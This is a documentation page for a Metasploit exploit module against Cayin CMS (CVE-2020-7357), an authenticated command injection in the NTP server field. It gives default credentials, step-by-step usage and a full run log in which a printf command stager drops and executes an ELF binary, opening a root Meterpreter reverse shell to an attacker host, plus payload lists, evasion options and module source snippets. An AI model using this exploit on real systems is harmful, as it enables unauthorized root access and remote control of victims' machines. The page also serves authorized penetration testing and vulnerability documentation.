Cayin CMS NTP Server RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/cayin_cms_ntp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: Cayin CMS NTP Server RCE
Module: exploit/linux/http/cayin_cms_ntp
Source code: modules/exploits/linux/http/cayin_cms_ntp.rb
Disclosure date: 2020-06-04
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-7357
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so repeated requests are made to achieve a larger payload. Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the environment should be pretty set and not dynamic between targets. Results in root level access.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
msf > use exploit/linux/http/cayin_cms_ntp
msf exploit(cayin_cms_ntp) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The
RCE is executed in the system_service.cgi file's ntpIp Parameter.
The field is limited in size, so repeated requests are made to
achieve a larger payload. Cayin CMS-SE is built for Ubuntu 16.04
(20.04 failed to install correctly), so the environment should be
pretty set and not dynamic between targets. Results in root level
access.
With CMS-SE's UI there are several options for NTP server.
- Test (this runs the RCE 3 times, thus is exploitable, a different
strategy like
wgetwould be required) - Save (saves the data, but doesn't run it)
- Update (what was used in this exploit)
Default authentication for the system is administrator:admin from Guide
Verification Steps
- Install the application on Ubuntu 16.04
- Start msfconsole
- Do:
exploits/linux/http/cayin_cms_ntp - Do:
set rhosts [ip] - Do:
run - You should get a root shell.
Scenarios
Cayin CMS-SE 11.0 build 19071 on Ubuntu 16.04
[*] Processing cayin_cms.rb for ERB directives.
resource (cayin_cms.rb)> use exploits/linux/http/cayin_cms_ntp
resource (cayin_cms.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (cayin_cms.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (cayin_cms.rb)> set lport 6666
lport => 6666
resource (cayin_cms.rb)> set verbose true
verbose => true
resource (cayin_cms.rb)> check
[+] Cayin CMS install detected
[*] 2.2.2.2:80 - The service is running, but could not be validated.
resource (cayin_cms.rb)> exploit
[*] Started reverse TCP handler on 1.1.1.1:6666
[+] Cayin CMS install detected
[*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0'>>/tmp/TCKAi", "printf '\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\300\\250\\2\\307\\150\\2\\0\\32\\12\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200'>>/tmp/TCKAi", "printf '\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170'>>/tmp/TCKAi", "printf '\\20\\133\\211\\341\\231\\262\\152\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/TCKAi ; chmod +x /tmp/TCKAi ; /tmp/TCKAi"]
[*] Command Stager progress - 26.60% done (199/748 bytes)
[*] Command Stager progress - 53.07% done (397/748 bytes)
[*] Command Stager progress - 79.81% done (597/748 bytes)
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:6666 -> 2.2.2.2:57446) at 2020-06-12 10:30:21 -0400
[*] Command Stager progress - 100.00% done (748/748 bytes)
meterpreter > getuid
Server username: no-user @ CMS-SE (uid=0, gid=1001, euid=0, egid=1001)
meterpreter > sysinfo
Computer : CMS-SE
OS : Ubuntu 16.04 (Linux 4.4.0-179-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/cayin_cms_ntp exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/cayin_cms_ntp
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/cayin_cms_ntp) > show info
Name: Cayin CMS NTP Server RCE
Module: exploit/linux/http/cayin_cms_ntp
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-06-04
Provided by:
h00die
Gjoko Krstic (LiquidWorm) <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
config-changes
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Automatic Target
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Username to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of Cayin CMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME administrator yes Username to login with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authenticated RCE in Cayin CMS <= 11.0. The
RCE is executed in the system_service.cgi file's ntpIp Parameter.
The field is limited in size, so repeated requests are made to
achieve a larger payload. Cayin CMS-SE is built for Ubuntu 16.04
(20.04 failed to install correctly), so the environment should be
pretty set and not dynamic between targets. Results in root level
access.
References:
https://www.exploit-db.com/exploits/48553
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php
https://nvd.nist.gov/vuln/detail/CVE-2020-7357
Module Options
This is a complete list of options available in the linux/http/cayin_cms_ntp exploit:
msf6 exploit(linux/http/cayin_cms_ntp) > show options
Module options (exploit/linux/http/cayin_cms_ntp):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes Username to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of Cayin CMS
URIPATH no The URI to use for this exploit (default is random)
USERNAME administrator yes Username to login with
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the linux/http/cayin_cms_ntp exploit:
msf6 exploit(linux/http/cayin_cms_ntp) > show advanced
Module advanced options (exploit/linux/http/cayin_cms_ntp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/cayin_cms_ntp module can exploit:
msf6 exploit(linux/http/cayin_cms_ntp) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/cayin_cms_ntp exploit:
msf6 exploit(linux/http/cayin_cms_ntp) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/cayin_cms_ntp exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/cayin_cms_ntp) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not connect to the web service, check URI Path and IP
Here is a relevant code snippet related to the "Could not connect to the web service, check URI Path and IP" error message:
68: res = send_request_cgi(
69: 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi')
70: )
71:
72: if res.nil? || res.code != 200
73: return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
74: end
75:
76: if res.body.include?('var model = "CMS') && res.body.include?('STR_CAYIN_LOGO')
77: print_good('Cayin CMS install detected')
78: return CheckCode::Detected
Could not connect to the web service, check URI Path and IP
Here is a relevant code snippet related to the "Could not connect to the web service, check URI Path and IP" error message:
78: return CheckCode::Detected
79: end
80:
81: CheckCode::Safe
82: rescue ::Rex::ConnectionError
83: CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
84: end
85:
86: def login
87: res = send_request_cgi(
88: 'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'login.cgi'),
<PEER> - Could not connect to web service - no response
Here is a relevant code snippet related to the "<PEER> - Could not connect to web service - no response" error message:
93: 'username' => datastore['USERNAME'],
94: 'password' => datastore['PASSWORD']
95: }
96: )
97:
98: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
99:
100: # instead of a 302 like most apps, this does a script window.location to forward...
101: unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
102: fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
103: end
<PEER> - Login failed. Check username and password
Here is a relevant code snippet related to the "<PEER> - Login failed. Check username and password" error message:
97:
98: fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
99:
100: # instead of a 302 like most apps, this does a script window.location to forward...
101: unless res.code == 200 && res.body.include?('/cgi-bin/system_status.cgi')
102: fail_with(Failure::BadConfig, "#{peer} - Login failed. Check username and password")
103: end
104:
105: res.get_cookies
106: end
107:
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
131: )
132: end
133:
134: def exploit
135: if check != CheckCode::Detected
136: fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
137: end
138:
139: @cookie = login
140: execute_cmdstager(flavor: :printf, linemax: 200)
141: rescue ::Rex::ConnectionError
<PEER> - Could not connect to the web service
Here is a relevant code snippet related to the "<PEER> - Could not connect to the web service" error message:
135: if check != CheckCode::Detected
136: fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
137: end
138:
139: @cookie = login
140: execute_cmdstager(flavor: :printf, linemax: 200)
141: rescue ::Rex::ConnectionError
142: fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
143: end
144:
145: end
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13607 Merged Pull Request: Cayin xPost and CMS exploits
References
See Also
Check also the following modules related to this module:
- exploit/windows/http/cayin_xpost_sql_rce
- auxiliary/dos/ntp/ntpd_reserved_dos
- auxiliary/fuzzers/ntp/ntp_protocol_fuzzer
- auxiliary/scanner/nessus/nessus_ntp_login
- auxiliary/scanner/ntp/ntp_monlist
- auxiliary/scanner/ntp/ntp_nak_to_the_future
- auxiliary/scanner/ntp/ntp_peer_list_dos
- auxiliary/scanner/ntp/ntp_peer_list_sum_dos
- auxiliary/scanner/ntp/ntp_readvar
- auxiliary/scanner/ntp/ntp_req_nonce_dos
- auxiliary/scanner/ntp/ntp_reslist_dos
- auxiliary/scanner/ntp/ntp_unsettrap_dos
- exploit/linux/http/tr064_ntpserver_cmdinject
- exploit/multi/ntp/ntp_overflow
- auxiliary/dos/cisco/ios_http_percentpercent
- auxiliary/scanner/http/frontpage_credential_dump
- auxiliary/scanner/http/frontpage_login
- auxiliary/scanner/nntp/nntp_login
- exploit/windows/misc/hp_loadrunner_magentproc
- exploit/windows/misc/hp_loadrunner_magentproc_cmdexec
- exploit/windows/nntp/ms05_030_nntp
- exploit/linux/http/gravcms_exec
- exploit/linux/http/vcms_upload
Authors
- h00die
- Gjoko Krstic (LiquidWorm) <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
